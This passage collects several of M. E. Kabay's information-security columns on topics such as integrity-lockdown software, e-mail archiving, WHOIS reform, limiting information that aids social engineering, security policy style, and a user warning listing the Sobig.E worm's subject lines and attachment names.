Or how about, "You are driving at 20 miles per hour over the speed limit in heavy traffic: don't you think it would be wise to STOP TALKING ON YOUR PHONE??" Whereupon the driver actually does get shot by the maniac who has been stalking him for the last ten miles because his phone call to the police was interrupted by proxy by a programmer who designed the safety system without an override.

For real nightmares, I leave you to imagine a phone that monitors your speech to ensure compliance with a designer's standards of politically correct speech. I imagine what such a device might do with peculiar words and phrases that have one meaning in ordinary discourse but a quite different meaning in a different context. For example, I remember one conversation with a system manager 20 years ago when I was on tech support for Hewlett Packard. He had had just had a system crash and I routinely asked, "Did you take a dump?" There was a long pause on the phone line, and the system manager replied with obvious puzzlement, "Yeeessss, but what does that have to do with the computer?" "No, no, " I said, "a CORE dump!"

More seriously, the same technology might lend itself to identification and authentication for computer access. For example, software might identify authorized users by face, keyboard rhythm and voice and thus decrease the rate of both false positives (accepting an interloper) and

false negatives (rejecting the rightful user). But in all cases, we should be very careful to insist on safety overrides that maintain control by the human being on the spot, not by the human being who thought he or she could predict all possible situations and limit human response in advance. For example, an authorized user could have a secondary authentication method that could allow access even in the case of a false negative.

In any case, I hope that enthusiasts of remote control will remember the road surface of the highway to hell.

BBX Fights the Unknown

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

After the first articles in my little series on intrusion detection appeared, several firms in the active intrusion-response arena contacted me with breathless enthusiasm about their products. I recently had an enjoyable chat with two enthusiastic computer security executives who filled me in on their progress towards another weapon for the constant war against The Bad Guys. [Note that I have no financial interest or any other relationship with BBX other than finding my two interlocutors very friendly, likeable and intelligent folks.]

* * *

James G. Kollegger [JK] is President and CEO of BBX Technologies < http://www.bbxtechnologies.com >. A former Operations and Command Information Officer in the U.S. Army Strategic Communications Command, Mr. Kollegger went on to a varied career in the information technology industry with special emphasis on managing high-technology startups.

John R. Michener, PhD [JM] is Chief Scientist and VP for Business Development at BBX. Dr. Michener has patents in cryptography and network security and has worked with security for Siemens and Novell. He is a widely published author (see pointers at the end of this article) who has a long career in security and e-commerce.

[MK] So how did you get involved in this project?

[JK] We got involved about 18 months ago. We always look for revolutionary or disruptive technologies. Our sense was that the computer security industry was ripe for this kind of change because three elements were fast coming together, literally like a "Perfect Storm":

1. Increased use of the Internet, despite the security risks. Businesses, the military, and civilian agencies are not just using the Internet, they're building business models on it. Browsing the web is inherently not secure. People just don't understand how vulnerable they are to subversion of their systems by malicious and clever software. I asked the CTO of a Fortune 100 company what his biggest security headache was—he said it was PC's exposed to the Internet.

2. New technology emerges constantly creating further weaknesses in this fabric-- e.g., new cell phones that upload data to computers, flash drives that slip into your pocket. These are real security problems. For example in Washington, a federal CIO told us that Blackberries are a major problem because they're not secure and also the servers are in Canada. A second problem he faces is USB flash drives that can easily be plugged into a computer to upload malware. Even automated email verification updates can be dangerous – they can download probes you can't even see.

3. The new breed of hackers are more sophisticated, more technologically expert and more

politically motivated. We have discovered hackers in China and Eastern Europe who are…

[JM] … they're not really just hackers: they're more like tool developers. For example, one of them developed a screen-scraper for collecting user IDs and passwords from Web logins that is as good as a keystroke logger for breaking identification and authentication controls.

[JK] Last summer, some Chinese hackers tried to seize control of a Navy ship (they failed). So this breed of arms merchants to the digital wars produces a scenario that isn't very pretty. You look at the current defenses--firewalls, anti-virus, IDS, intrusion prevention – a good part of the new attacks will get through. These old methods are signature based and they're always playing catch-up. So we developed an entirely new approach. Our system doesn't try to find out what the malware looks like; it addresses keeping the integrity of the computer intact. And that's why EDS and other big integrators are taking our products into the market as the final shield—the last line of defense.

[MK] Much like the heuristic systems of antivirus products.

[JM] We're really looking at an integrity lockdown. Applications should deal with data but not modify executables. In general, your software should change only when an authorized individual is installing or updating software. Thus, we can start from the approximation that the executable environment should be invariant.. So we started off looking for modifications of about 13 types of files. If the software sees a new or changed executable on the system, it queries a policy layer that we have implemented. First we ask if the changed software is storing data (Some applications store data in DLL's. We allow the administrator to enter such files into a "ignore changes" list.) ; or maybe it's part of a directory tree where changes are allowed. If it's allowed, it goes in. If it's not, our software deletes the executable and issues a management report. We focus on the system and operating system directories where we detect all changes to the executable environment; but unlike other products, we detect and deal with the addition of unauthorized executables anywhere in the protected system; we have instrumented the kernel and the file system and this allows us to monitor all the changes. A direct benefit of this approach is it allows us to deal with any attack that carries an executable payload without requiring a signature.

We assume that what's in your computer when we install is the baseline; anything else gets knocked out. For example, we've installed with BackOrifice already in place; when the malware goes active, we detect its attempts to modify code and we delete it. If an administrator tries to kill our process, the command is rejected. We provide a dual key system that can be configured to permit such inactivation. First you need to authorize the removal and then you can remove the protective process. In the newest version, we're adding the capability for real-time filtering of new installs.

Our current product allows authorized updates such as antivirus products or software upgrades into administrator settable directory subtrees. Supporting trusted updates of arbitrary files and locations across the system will have to involve digital certificates if you expect to protect the system against Trojans.

* * *

I would like to congratulate these gentlemen: in the entire discussion, they did not discuss the

names of their products a single time. You'll just have to explore their Web site (http://www.bbxtechnologies.com) to find out what they're selling. My thanks to Jim and John for their time.

Controlling E-mail Archives

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Following publication of the article on e-mail subject lines and other tips for efficient use of e-mail, I received a flurry of responses from readers and will be publishing a compilation of some of the most interesting suggestions a bit later. However, one response, from Tim Craig < mailto:Tim.Craig@ukgateway.net >of Locate IT in England, was so interesting that I think it will be valuable for many readers. With minor editorial changes (but note the UK spelling), here is what Mr Craig wrote:

> A further useful little rule about the subject is to think about where your recipient might file it or how he might remember it. As a salesman of security and compliance solutions, I should always be thinking about what my customers' needs and wants are. Giving my e-mail a focused subject helps me focus on what I am trying to achieve with it, for a start. Also, I need to grab his attention at the very beginning. So if my e-mail is about me and my clever product, I have probably lost him already. If it is about a project he needs to fulfil, and how I can help, then I might get somewhere. Just plain sales common sense, not rocket science. For instance, in your projects, assuming you think of students as your customers, you might consider 'My comments on your essay' as less effective than 'MSIA: some advice from M Kabay'. The MSIA at the beginning allows a student looking up his old e-mails, when getting back to the subject two months later, to sort and retrieve it quickly, and a 'find' on Kabay provides another route.

One of the products I promote is MailStore, an e-mail archiving product from Archive-it < http://www.archive-it.com > that comprehensively follows the BSI Code of Practice on the Legal Admissibility of Documents Stored Electronically (BSI PD0008). One of the staff was an author of the BSI Code of Practice. We security people have focused almost all our efforts on protecting information while it is 'on the wire' and almost no effort on protecting it from unlawful change once it is stored. Noting that it is still true that over 70% of all computer misuse is initiated internally, this product provides a capability to manage and control the use of e-mail at a corporate level, ensuring compliance (e.g., with the Data Protection Acts), and enabling approved administrators to do such searches as suggested above across all e-mail users within an organisation. All e-mails are stored tamper proof for as long as policy dictates. A legal discovery can bring up a complete list of all e-mails referring to a particular subject in seconds, when an approved investigation is established. The processes have been approved as 'best practice' up to our House of Lords, and will stand as strong evidence in a Court of Law, which e-mails in general do not. You can prove who has modified or passed on any e-mail, even who has simply read it. It is a great deterrent to misuse of corporate e-mail as well, I believe. Thoughtful application of the subject makes policy compliance much more effective in a regime like this.<

I read the brochure about MailStore and was impressed. The product uses digital signatures and encryption with time-stamps to provide a secure audit trail; it apparently imposes little or no load on the user; and it provides an easy management interface for system administrators to define rules on document retention. The mere presence of such a tool would reduce abuse of corporate e-mail systems. However, readers will recall that any such system must be clearly announced to all personnel before deployment so that there will be no tenable claims of a reasonable

expectation of privacy when using corporate e-mail systems.

Welcome to my Web Site (1): Course Materials

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I have been preparing my Web site at < http://www2.norwich.edu/mkabay > for a while now and still haven't worked out all the bugs – but it's time to invite you, my faithful readers, on a guided tour of some of the offerings. In this and the following two columns, I want to point out some of the resources that I hope you will find helpful in preparing information security and cybersafety courses, security awareness programs, and internal newsletters – and just for your own personal use too. You are welcome to use this material for non-commercial applications only; for commercial (profit-making) applications, contact me to discuss licenses.

I have had some problems with certain versions of Netscape, but Explorer and Opera versions seem to work OK with my stuff, which is produced using DreamWeaver software.

Start at my home page. Note the picture of what I used to look like (shaven head and beard) compared to what I now have to look like (fuzz on top and no beard) and then click on either of the "Courses" links on the main page. Starting with "Industry Courses," you can see a number of course materials available in PowerPoint files. Each course has a brief description. Contact me if you want to arrange for me to teach any of these for your particular group.

Go back to the Courses page at < http://www.mekabay.com/courses/index.htm > and select the "University and College Courses" link. On the "John Abbott College" page at < http://www.mekabay.com/courses/academic/jac/index.htm > you'll find a couple of non-security courses: a short intro to data communications and a lecture series on technical support. On the other page, < http://www.mekabay.com/courses/academic/norwich/index.htm > you'll find PowerPoint files for a cyberlaw/cybercrime course, some brief stuff on C++ programming, a whole set of lectures on database management systems, a set of slides mostly by Prof. Ian Sommerville on systems engineering (with some modification by me) and the whole set of course notes for the introduction to information assurance that I teach undergraduates. There's plenty of material there to help anyone teaching security and I hope it will save you time in preparing your own notes for classes. Students may also find the materials helpful.

* * *

In my next column, I'll look at some of the research materials on my Web site that can help readers. In the meantime, don't forget to flood my mailbox with notices of all the 404s you will undoubtedly find on my site (sigh).

* * *

Look for the _Computer Security Handbook, 4th Edition_ edited by Seymour Bosworth and Michel E. Kabay; Wiley (New York), ISBN 0-4714-1258-9. Available now at your technical bookstore or from Amazon at: < http://www.amazon.com/exec/obidos/ASIN/0471412589/tag=fusion0e >

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Welcome to my Web Site (2): Research Materials

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the first of these three columns, I introduced the course materials on my Web site, < http://www2.norwich.edu/mkabay >. In this column, I'd like to show you some of the research materials there.

Anywhere you see a link to "Cyberwatch" on my site you can click your way to the page where I've placed some short articles about safety in the use of the Internet. These articles are written in simple, non-technical language. I collected and expanded the original series, originally published in a local community newspaper, in a little booklet that was printed for everyone at Norwich University in August of 2002. That version is available free for download as a PDF file called "Cyber-Safety for Everyone: from Kids to Elders." It's 126 pages of very big print; it was reduced four-fold to make the tiny booklet. I am updating the materials for a second edition which will be half-size (thus a normal paperback size) and that I will sell through AMAZON later this summer for about $9 a copy. The PDF file of the second edition will also be available for free to anyone to download.

Next, click on the "IYIR" link anywhere you see it (it and the other navigation links are on the left side of most pages). This boring-looking page at < http://www.mekabay.com/iyir/index.htm > has a great deal of useful information in the Acrobat PDF files available for download. Each file summarizes several hundred developments across the entire field of information security in the year noted. These cases are organized using a numerical classification for convenience; the current taxonomy is always in the "Codes (taxonomy)" file. If you're looking for, say, illustrations of Trojan Horse activity in recent years, you can search through the files using the appropriate code (or even just the keyword) to locate the incidents that may be helpful to you in your lecture or report. In addition to printing the abstracts (very kindly granted to me by the various writers and editors) and sources (usually URLS), I have also added keywords that may not always be obvious from the abstracts themselves. In this way, I hope to make the reports more useful to researchers. I personally find the database from which these reports are generated to be invaluable in helping me locate examples or to follow trends in the field. The database is the basis for the periodic "INFOSEC UPDATE" courses which I give (the next will be in Montreal in August – more about that later).

Finally for today, take a look at the "Overviews" link which brings you to < http://www.mekabay.com/overviews/index.htm >. I think the most useful paper there is "Information Security Resources for Professional Development" which provides answers to FAQs and summarizes a wide range of security resources including books, magazines, CDs, videos, live courses, associations, academic programs and certifications.

* * *

In my next column, I'll look at some of the other papers on my Web site that can help readers.

In the meantime, don't forget to flood my mailbox with notices of all the 404s you will undoubtedly find on my site (sigh).

* * *

Welcome to my Web Site (3): Security Papers

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the first two of these three columns, I introduced the course and research materials on my Web site, < http://www2.norwich.edu/mkabay >. In this column, I'd like to show you some of the papers on security and ethics topics there.

Start with the "Ethics" link anywhere you see it. There's a short paper that many people find helpful on how normal human beings make decisions about ethical problems; contrary to some people's opinions, there's more to it than the decision-making process involved in choosing flavors of ice-cream.

The harangues in "The Napster Cantata," "Why Kids Shouldn't Be Criminal Hackers," and "Hackers are Enemies" have made me a number of enemies and generated some hate mail over the years, including one massive diatribe by a famous criminal hacker who threatened me with lawsuits, boasted about his lack of concern for normal human empathy, and generally showed signs of serious mental disorders. "Totem and Taboo" is a much more serious paper looking at the development of a moral code in the use of any developing technology and focusing on information technology in particular. Finally, the "Anonymity and Pseudonymity" paper eventually became Chapter 53 of the _Computer Security Handbook, 4th Edition_ and includes some practical suggestions which have been completely ignored for several years on how ISPs could help stop spam and anonymous abuse of the Internet. Interestingly, "Vox clamantis in deserto" (a voice crying in the wilderness) is the motto of my doctoral alma mater, Dartmouth College. I seem to be illustrating its meaning. Perhaps some of you readers will be interested in pursuing the ideas I put forth in that paper.

Another section I hope you will find helpful and interesting is "Methods." The most important file there is "CATA: Computer-Aided Thematic Analysis," a blindingly simply technique for organizing information that everyone I have taught it to seems to find helpful. You know it's a good idea when the universal response is, "Hey, neat! Why didn't I think of that?" The recent ACM _Ubiquity_ publication "Organizing and Safeguarding Information on Disk" will help the organizationally challenged make sense of their disk files ("Where did I put that darned file? I know it was around here among these 18,000 other files somewhere. . . ."). The other two papers on statistics became Chapter 4 of the _Computer Security Handbook_ and provide non-specialists with the proper dose of skepticism about all those security surveys we always hear about every year – the ones with self-selected participants, huge levels of non-response and no validation of results.

So that's all for now. You can also explore the other sections of the site, including "Security Management" and "Opinion" (as if you don't get enough of those in this column).

Welcome to my world!

Firewalls: FAQs and White Papers

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Norwich University, Northfield VT

As a teacher, I am always looking for useful information for my students. I think of you, Dear Readers, as students and fellow teachers too because the nature of security forces all of us to keep learning all the time. Today I'd like to point you to some useful free resources for learning and teaching about firewalls.

(1) CSE FAQ

Starting with materials for your newest employees, there's a simple list of frequently asked questions (FAQ) on the Web site of the Communications Security Establishment of the Government of Canada at

< http://www.cse-cst.gc.ca/en/knowledge_centre/FAQ.html >.

The FAQ includes a list of older books about firewalls (the newest is from 1997).

(2) Firewalls FAQ

A more technical firewalls FAQ is from C. Matthew Curtin and is dated 2001:

< http://www.faqs.org/faqs/firewalls-faq/ >.

This document is far more detailed and goes into technical details that will interest system and network administrators. Major topics include
* Background and firewall basics
* Design and implementation issues
* Various attacks
* How do I …
* Some commercial products and vendors
* Glossary of firewall-related terms
* TCP and UDP ports.

(3) CERT/CC® Security Improvement Modules on Firewalls

The Computer Emergency Response Team Coordination Center (CERT/CC®) of the Software Engineering Institute (SEI) of Carnegie Mellon University (CMU) has an extensive series of documents beginning with "Deploying Firewalls" at

< http://www.cert.org/security-improvement/modules/m08.html >

as part of the CERT® Security Improvement Modules. According to the introduction, "These practices are intended primarily for experienced system and network administrators and integrators." The recommended practices are divided into four sections:

* Prepare
* Configure
* Test
* Deploy.

Each of the sections has one or more documents, some of them several pages long, with well structured information such as

* Why this is important
* How to do it
* Other information.

You will also wants to explore the other Security Improvement Modules available through the link at the bottom of every page.

(4) White Papers from Fortinet

One of the resources I stumbled upon in my research is a collection of White Papers from FORTINET < http://www.fortinet.com/ >. The papers that caught my eye are listed on a form at

< http://www.fortinet.com/leads/action/leadRequest.do?categoryId=10 >

and include a series of documents looking at vertical markets such as educational institutions and health-care in which I am particularly interested. They also have case studies, which are always valuable for teaching. Incidentally, their form doesn't work with Opera v 7.54, which is my standard browser; I had to switch to the dreaded Internet Explorer to be able to fill in the registration form for the request. One nice feature is that once you have registered, you can download all the papers you want as PDF files.

I hope you will find these resources helpful in your learning and training. Just for the record, I have no ties whatsoever to any of the organizations listed in this article.

Reforming the WHOIS Database

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In fighting spam and other forms of Internet and e-mail abuse, many defenders of the 'Net have noticed that the worst offenders often include obviously false information in their WHOIS database entry. The WHOIS database records the contact information for each registered domain in the Domain Name System (DNS). In my attacks on originators of spam, I've often seen the phone number (nnn) 555-1212 (where nnn is an area code) supplied as the contact point; addresses such as "12345 Street Road" with bogus ZIP codes; real-looking phone numbers that turn out to be nonexistent or disconnected; and countless e-mail addresses that bounce like the walls in a squash court.

The Internet Corporation for Assigned Names and Numbers (ICANN < http://www.icann.org is "the non-profit corporation that was formed to assume responsibility for the IP address space allocation, protocol parameter assignment, domain name system management, and root server system management functions. . . ." In other words, ICANN regulates the administrative infrastructure of the Internet. In March of this year, the board of directors voted to accept four important recommendations from the Generic Names Supporting Organization (GNSO) Council to maintain the integrity of information in the WHOIS database. These recommendations are as follows:

>1. Accuracy of WHOIS Data.

A. At least annually, a registrar must present to the Registrant the current WHOIS information, and remind the registrant that provision of false WHOIS information can be grounds for cancellation of their domain name registration. Registrants must review their WHOIS data, and make any corrections.

B. When registrations are deleted on the basis of submission of false contact data or non-response to registrar inquiries, the redemption grace period -- once implemented -- should be applied. However, the redeemed domain name should be placed in registrar hold status until the registrant has provided updated WHOIS information to the registrar-of-record.

2. Bulk Access to WHOIS Data.

A. Use of bulk access WHOIS data for marketing should not be permitted. The Task Force therefore recommends that the obligations contained in the relevant provisions of the RAA be modified to eliminate the use of bulk access WHOIS data for marketing purposes. . . .

B. Section 3.3.6.5 of the Registrar Accreditation Agreement currently describes an optional clause of registrars' bulk access agreements, which disallows further resale or redistribution of bulk WHOIS data by data users. The use of this clause shall be made mandatory.<

In addition, the recommendations strongly supported development of "a reliable contact point to receive and act upon reports of false WHOIS data." The recommendation continued, "ICANN

should encourage registrars to (i) provide training for these contact points in the handling of such reports, and (ii) require re-sellers of registration services to identify and train similar contacts."

These measure will help to fight the scourge of spam by shutting down entire domains that are run by dishonest people. They will also inadvertently shut down perfectly legitimate domains whose owners are too disorganized to keep their information up to date. If you run a business that depends on the existence of your own domain (e.g., for your own Web site or to send and receive important e-mail), you had better put proper measures into place to ensure that a named individual (and a backup person) are explicitly responsible for keeping the WHOIS database correctly updated (and your DNS registration fees paid on time) or you might suffer a self-imposed denial of service.

Lastly, as you consider how to comply with these regulations and update your own registration information, keep one other factor in mind: no one has asked you to provide information that would permit easy social engineering. For example, you don't have to provide the exact name of the human being(s) who will be the administrative contact and the technical contact; instead, you can give a title (e.g., Hostmaster) and an accurate and working, but generic e-mail address such as hostmaster@domain.tld. The additional benefit of such a system is that you control where e-mail directed to this address ends up; this flexibility means you don't have to update the WHOIS database every time you reassign responsibility for the domain to another employee. For the same reasons, the phone number can be the switchboard rather than a specific extension, thus allowing you to direct calls to the right person without giving away valuable internal information that might support a criminal hacker's attempts to spoof someone's identity.

* * *

In my next column, I'll look at other kinds of problems that can occur with posting of internal information where it isn't necessary.

* * *

Revealing Too Much

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In a preceding column, I discussed controls over the information posted in the WHOIS database for Domain Name System (DNS) registration, pointing out that it is unnecessary to give specific employees' names and phone numbers in that database. Today I'd like to continue on that theme with some warning about other ways that we tend to reveal too much about ourselves and our activities in today's electronically interconnected world.

Let's start with e-mail. Why give away information that is unnecessary for most correspondence yet valuable for social engineering? In your signature block, is it necessary to post your complete physical address, including precisely which building and office you work in? If someone needs to visit you, you can give them your precise location details once you have established some basis for trust. Do you have to give your secretary's name and phone number? What about your fax number – why invite junk fax? If someone needs to send you a fax, they can ask for the number.

When you are going away on a business trip or a vacation, is it really to your advantage to broadcast exact details of when you will be away, why and where? Doesn't this information provide easy ways to impersonate you or to take advantage of your absence for robbery, data theft, sabotage or other types of harm? And remember that auto-replies are always dangerous: all you need is a message to be sent by someone who happens to turn on their own out-of-office autoreply and you have a mailstorm brewing. Your autoreply sparks their autoreply which sparks another autoreply from your mailbox and so on until a server crashes or someone notices the flurry of useless e-mail. But think now: when you leave your home for a vacation, you do not put a big sign on your front lawn that reads, "We're going away for two weeks now, so there's no one home and you can rob us blind or burn the house down more easily." No, on the contrary, you arrange to stop newspaper and milk delivery so that there are no tell-tale signs of your absence; you may set automatic lights to go on and off; you arrange with your neighbor to water the plants and pick up regular mail – all to avoid announcing to Bad People that you aren't at home. So why do the opposite at work? Are you really so important that every single person sending you e-mail absolutely has to know that you're away? Why not let the ones who really care simply call your work number, fall back to the backup person who answers in your place, and learn a limited amount about your absence as required? While we're on the subject, apply the same reasoning to your voice-mail messages. "I'll be away until next week" may make you sound important, but it may also invite theft or spoofs.

As for the Web, just because it's easy to post information doesn't mean that all of it should be posted. For example, on a person Web site, some people post – I'm not kidding – their date of birth and their social security number. Resumés (CVs) can be so detailed as to provide the basis for successful impersonation; necessary? On corporate Web sites, some organizations post detailed internal phone lists with employee names, titles, departments, office numbers, phone numbers, fax numbers, secretaries' names – the whole shebang. Hmm – maybe a bit too much, no? Some companies post excessively helpful competitive information such as detailed lists of important clients; what better help to competitors could one ask for? And some organizations

cheerfully post internal documents such as minutes of meetings, strategic plans, and competitive analyses on their public Web sites, perhaps under the mistaken impression that these are the same as their private intranets.

I hope that this litany of open-hearted, trusting publication of information has sent some premonitory chills up the spines of some readers. Perhaps there will be a flurry of activity as readers rethink just how much information really ought to be made public in their e-mails and Web sites.

Isn't it awful being so suspicious?

Isn't it worse not being able to be suspicious on demand?

NIETP Announces New COEs

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Norwich University was among the third wave of Centers of Academic Excellence in Information Assurance Education (referred to as COEs for short) named by the National INFOSEC Education and Training Program. The COE program is succinctly described by the NIETP as follows:

"The NSA's Deputy Director for Information Systems Security created the National INFOSEC Education and Training Program (NIETP). This action recognizes that NSA needs to play a leadership role in security education and responds to a need expressed by the National Security Telecommunications and Information Systems Security Committee (NSTISSC).

Its Mission is to be a leading advocate for improving national security Information Systems Security (INFOSEC) education and training nationwide.

Its Goal is to ensure that personnel in all government departments and agencies are trained to safeguard national security information systems by enhancing the INFOSEC knowledge, skills and abilities of the American work force and school populations via community-based education and training programs which are national in focus, future-oriented, multi-dimensional and tied to technology and business."

The designation allows institutions to sponsor students for the NSF Scholarship for Service (SFS) program and the DoD Information Assurance Scholarship Program. These programs offer full tuition, expenses, and a stipend to qualifying students for the final two years of undergraduate or graduate degrees and are followed by two years of service at full pay in government jobs – often with a security clearance added (worth a great deal of extra salary in many later jobs).

At the Colloquium for Information Systems Security Education 2003 < http://cisse.info/colloquium_2003.htm > held recently in Washington DC (June 1-5, 2003), the NIETP announced 14 new COEs. I hope that the following list of links will encourage some readers to spread the news to eligible students and to look into furthering their own academic credentials by taking advantage of the opportunities at these newly recognized centers:

Auburn University < http://www.ocm.auburn.edu/news_releases/excellence.html >

Capitol College (MD) < http://www.capitol-college.edu/ccnews/coe.html >

East Stroudsburg University (PA) < http://www2.esu.edu/servlet/com.rnci.products.PublishNow.RetrieveSingleArticle?serv=ade&db=esupublisher&site=esu&sction=ur_press_april03&article=27&part=2 >

New Jersey Institute of Technology < http://www.ccs.njit.edu/ >

Pennsylvania State University < http://live.psu.edu/index.php?sec=vs&story=2988 >

Portland State University (OR) < http://www.cecs.pdx.edu/news.php?nid=57 >

Stevens Institute of Technology (NJ) < http://www.stevensnewsservice.com/pr313.htm >

Texas A&M University < http://business.tamu.edu/info/info_degrees.htm >

University of Dallas (TX) < http://www.udallas.edu/News.cfm?NewsArticleID=360 >

University of Massachusetts at Amherst <
http://www.cs.umass.edu/csinfo/announce/centerexcellence.html >

University of Pennsylvania < http://www.upenn.edu/pennnews/article.php?id=217 >

University of Virginia < http://www.cs.virginia.edu/~survive/ >

Walsh College (MI) < http://www.walshcollege.edu/pages/578.asp >

The new institutions bring the total to 50. At the CISSE, all of the original group named in 2000 were also declared as recertified using recently strengthened criteria:

Carnegie Mellon University (PA)
Florida State University
Information Resources Management College of the National Defense University (DC)
Naval Postgraduate School (CA)
Stanford University (CA)
University of Illinois at Urbana-Champaign (IL)
University of Tulsa (OK)

Congratulations to everyone involved in these programs.

The Elements of Policy Style (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this short series of articles, I am updating materials I wrote for Chapter 28 (Security Policy Guidelines) of the _The Computer Security Handbook, 4th Edition_ . This first column starts with recommendations on how to frame security policies.

How should one write security policies? Should they be suggestions? Orders? Positive? Negative? I think that policies should be definite, unambiguous, and directive. In addition, all policies should have (preferably optional) explanations for the reasons behind them.

Orientation: Prescriptive and Proscriptive

Security policies should be written with clear indications that all employees are expected to conform to them. Language should be definite and unambiguous; e.g., "All employees must . . ." or "No employees shall. . . ." Some policies require people to do something—these are *_prescriptive_*; e.g., "Employees must follow the password procedures defined by the Information Protection Group at all times." Other policies prohibit certain actions—these are *_proscriptive_*; e.g., "No employee shall make or order illegal copies of proprietary software under any circumstances."

Writing Style

Each policy should be short. Simple declarative sentences are best; writers should avoid long compound sentences with multiple clauses. Details of implementation are appropriate for standards and procedures, not for policies. Policies can refer users to the appropriate documents for implementation details; e.g., "Passwords shall be changed on a schedule defined in the *_Security Procedures_* from the Information Protection Group."

Reasons

Few people like to be ordered about with arbitrary rules. Trying to impose what appear to be senseless injunctions can generate a tide of rebellion among employees. It is far better to provide explanations of why policies make sense for the particular enterprise; however, such explanations can make the policies tedious to read for more experienced users. A solution is to provide optional explanations. One approach is to summarize policies in one part of the document and then to provide an extensive expansion of all the policies in a separate section or a separate document. Another approach is to use hypertext, as explained in an article to follow.

Sobig a Fool as That?

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

It never ends. Automated social engineering by e-mail-enabled worms is a curse that is approaching unsolicited e-mail in its irritation quotient. These worms, like human spammers, generate misleading subject lines to trick victims into opening messages – and in particular, opening the attachments that contain malicious code and thus executing the code.

In the last few days, I've been receiving dozens of copies of two particular variants of W32.Sobig.E@mm worm-bearing messages. One type includes the subject line "Re: Application" and the other is "Re: Movie." It happens that I run a graduate program that is currently receiving lots of correspondence about applications in our pipeline and that one of my hobbies is movies, so you can understand my irritation with these bogus messages. Other topics reported by antivirus companies in versions of the Sobig worm-bearing e-mail messages include

004448554.pif
Application.pif
Applications.pif
movie.pif
new document.pif
Re: document.pif
Re: Documents
Re: Movies
Re: Re: Application ref 003644
Re: Re: Document
Re: ScRe:ensaver
Re: Submitted
Referer.pif
Screensaver.scr
submited.pif
Your application

The text in the messages I have received has uniformly been "Please see the attached zip file for details." However, other messages have been noted "in the wild."

The attachment may be called

Application.zip (contains Application.pif)
Document.zip (contains Document.pif)
Movie.zip (contains Movie.pif)
Screensaver.zip (contains Sky.world.scr)
Your_details.zip (contains Details.pif)

However, the files I have received terminated in the double suffix ".zip.htm" which is a give-away that something funny is going on. Other second-suffixes for the worm-infected attachments include

.dbx
.eml
.html
.txt
.wab

thus producing, for example, “Application.zip.txt” or “Movie.zip.html” and so on.

Once opened, the active content of the ZIP file can infect the Windows operating system and mail itself to addresses found in various e-mail address books using forged e-mail headers.

The current version has a termination date of Bastille Day 2003 (14 July); however, one can be sure that some creepy wannabe will alter the code to extend the lifetime of this nuisance.

So be sure all your antivirus products are dutifully updating themselves automatically; tell your users to be on guard against these wretched messages; and warn them not to be, ah, sobig a fool as to actually open any attachment from a stranger or any unexpected attachment supposedly from a friend.

The Elements of Policy Style (2)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this short series of articles, I am updating materials I wrote for Chapter 28 (Security Policy Guidelines) of the _The Computer Security Handbook, 4th Edition_ . This second column continues with recommendations on how to organize security policies.

Policies are distinct from the sequence in which they are presented. It is useful to have two distinct presentation sequences for policies: topical and organizational.

Topical Organization

Security involves a multitude of details; how one organizes these details depends on the purpose of the policy document. The most common format puts policies in a sequence that corresponds to some reasonable model of how people perceive security. For example, employees can look at security as a series of rings with a rough correspondence to the physical world. Under this model, one might have a policy document with a table of contents that looks like this:

- Principles
- Organizational Reporting Structure
- Physical Security
    - Servers
    - Workstations
    - Portable computers
- Hiring, Management, and Firing
- Data Protection
    - Classifying information
    - Data access controls
    - Encryption
    - Countering industrial espionage
- Communications Security
    - Perimeter controls
    - Web usage and content filtering

    - E-mail usage and privacy
    - Telephone and fax usage
- Software
    - Authorized products only
    - Proprietary (purchased) software
    - Development standards
    - Quality assurance and testing
- Operating Systems
    - Access controls
    - Logging
- Technical Support
    - Service-level agreements
    - Help desk functions

Organizational

The complete set of policies may be comprehensive, concise, and well written, but they will still likely be a daunting document, especially for nontechnical staff. To avoid distressing employees with huge tomes of incomprehensible materials, it makes sense to create special-purpose documents aimed at particular groups. For example, one could have guides like these:

- *General Guide for Protecting Corporate Information Assets*
- *Guide for Users of Portable Computers*
- *A Manager's Guide to Security Policies*
- *Human Resources and Security*
- *Network Administration Security Policies*
- *Programmer's Guide to Security and Quality Assurance*
- *The Operator's Security Responsibilities*
- *Security and the Help Desk*

Each of these volumes or files can present just enough information to be useful and interesting to the readers without overwhelming them with detail. Each can make reference to the full policy document.

The Elements of Policy Style (3)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In this short series of articles, I am updating materials I wrote for Chapter 28 (Security Policy Guidelines) of the _The Computer Security Handbook, 4th Edition_ . This third column continues with recommendations on the medium for presenting security policies.

What options do policy makers have for publishing their policies? One can print them on paper or publish them electronically.

Printed Text

Policies are not inherently interesting. Large volumes full of policies quickly become shelfware. On the other hand, short paper documents are familiar to people; they can be carried around or placed at hand for easy reference anywhere. Reference cards, summary sheets, stickers, and posters are some of the printed media that can be useful in security awareness, training, and education programs. Printed text, like its electronic versions, provides the opportunity for typeface and color to be used in clarifying and emphasizing specific ideas. However, printed copies of policies share a universal disadvantage: they are difficult to update.

